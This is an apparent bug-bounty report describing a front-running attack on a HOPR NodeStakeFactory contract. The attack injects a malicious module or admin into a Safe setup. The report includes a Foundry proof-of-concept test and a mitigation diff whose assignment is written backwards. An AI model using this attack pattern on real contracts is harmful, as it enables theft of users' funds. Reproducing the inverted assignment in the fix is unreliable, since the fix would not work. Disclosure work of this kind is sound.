Possible to front-run safe setup and inject malicious module

[hats-bug-reporter[bot]]

Github username: @0xfuje Submission hash (on-chain): 0xc9354e7b55ec27d7667c218c39e99c695b21c118f66b95d9eddb42bf733d615d Severity: medium

Description:

Impact

Safe can be compromised with user funds stolen, malicious module can make variety of damages

Description

A malicious actor could front-run a Safe setup with the same nonce and inject a malicious module to the setup that could compromise funds and make authorized actions. A user's transaction will fail, but he might think it's somehow succeeded since he will see that he has ownership of a Safe with the same admins. If he starts using the malicious Safe, his funds can be compromised and the module can make other damages via using restricted functions reserved for Safe.

The problem that allows the vulnerability is the arbitrary address input of moduleSingletonAddress in NodeStakeFactory - clone() and that there is no validation that this address is in fact the intended HoprNodeManagementModule contract.

src/node-stake/NodeStakeFactory.sol - clone()

    function clone(
        address moduleSingletonAddress, // @audit arbitrary address
        address[] memory admins,
        uint256 nonce,
        bytes32 defaultTarget
    )
        public
        returns (address, address payable)
    {

The malicious module will be enabled to be used in Safe later in the function:

    // Enable the node management module
    bytes  memory enableModuleData = abi.encodeWithSignature("enableModule(address)", moduleProxy);
    prepareSafeTx(Safe(safeProxyAddr), 0, enableModuleData);

---

Front-run admins

Note that a similar attack is possible via front-running where the attacker injects his address as one of the admin addresses in the setup. Later he can take ownership of the Safe and renounce other owners.

Proof of Concept

1. navigate to packages/ethereum/contracts/test/NodeStakeFactory.t.sol
2. copy and paste the below proof of concept inside HoprNodeStakeFactoryTest contract

3. run forge test --match-test testSafeSetupFrontRun -vvvv

   
   function testSafeSetupFrontRun() public {
       // SETUP START
       address validUser = vm.addr(888);
       address attacker = vm.addr(1337);
   
       address channels = 0x0101010101010101010101010101010101010101;
       address token = 0x1010101010101010101010101010101010101010;
       vm.mockCall(channels, abi.encodeWithSignature("token()"), abi.encode(token));
   
       address[] memory admins = new address[](10);
       for (uint256 i = 0; i 

[0xfuje]

report didn't fully get submitted, copying rest of the part

[0xfuje]

Proof of Concept

1. navigate to packages/ethereum/contracts/test/NodeStakeFactory.t.sol
2. copy mock module contract above HoprNodeStakeFactoryTest

   contract MaliciousModuleMock {
   function initialize(bytes calldata) public {
       return;
   }
   }

3. copy and paste the below proof of concept inside HoprNodeStakeFactoryTest contract

4. run forge test --match-test testSafeSetupFrontRun -vvvv

   function testSafeSetupFrontRun() public {
       // SETUP START
       address validUser = vm.addr(888);
       address attacker = vm.addr(1337);
   
       address channels = 0x0101010101010101010101010101010101010101;
       address token = 0x1010101010101010101010101010101010101010;
       vm.mockCall(channels, abi.encodeWithSignature("token()"), abi.encode(token));
   
       address[] memory admins = new address[](10);
       for (uint256 i = 0; i < admins.length; i++) {
           admins[i] = vm.addr(200 + i);
       }
       // SETUP END
   
       // 2. malicious attacker front-runs valid user's transaction
       vm.startPrank(attacker);
       // 2.1 deploys malicious module
       MaliciousModuleMock moduleMalicious = new MaliciousModuleMock();
       // 2.2 attacker injects the malicious module
       (module, safe) = factory.clone(
           address(moduleMalicious),
           admins,
           0,
           bytes32(hex"0101010101010101010101010101010101010101010101010101010101010101")
       );
       vm.stopPrank();
   
       // 1. valid user tries to setup a safe for their HOPR node
       // since attacker front-runs and uses the same nonce it will revert
       vm.expectRevert();
       vm.prank(validUser);
       (module, safe) = factory.clone(
           address(moduleSingleton),
           admins,
           0,
           bytes32(hex"0101010101010101010101010101010101010101010101010101010101010101")
       );
   
       // 3. user might think his setup suceeded somehow
       // since he sees a safe with ownership of himself and his admins
       // 3.1 if he decides to use the safe the module can execute malicious actions
   }
   }

Recommended Mitigation

There is a isHoprNodeManagementModule bool variable in HoprNodeManagementModule however calling and requiring it's true won't completely mitigate the issue since an attacker can just use the same var in his own contract.

The best way to solve this is to disallow an arbitrary module address input in clone(). Instead moduleSingletonAddress can be a storage variable that is initialized in the constructor of NodeStakeFactory.sol.

+   address moduleSingletonAddress;

+   constructor(address _moduleSingletonAddress) {
        // Encode the contract's address to be used in EIP-1271 signature verification
        r = bytes32(uint256(uint160(address(this))));

        // Encode the EIP-1271 contract signature for approval hash verification
        approvalHashSig = abi.encodePacked(abi.encode(r, bytes32(0)), bytes1(hex"01"));

+   _moduleSingletonAddress = moduleSingletonAddress;
    }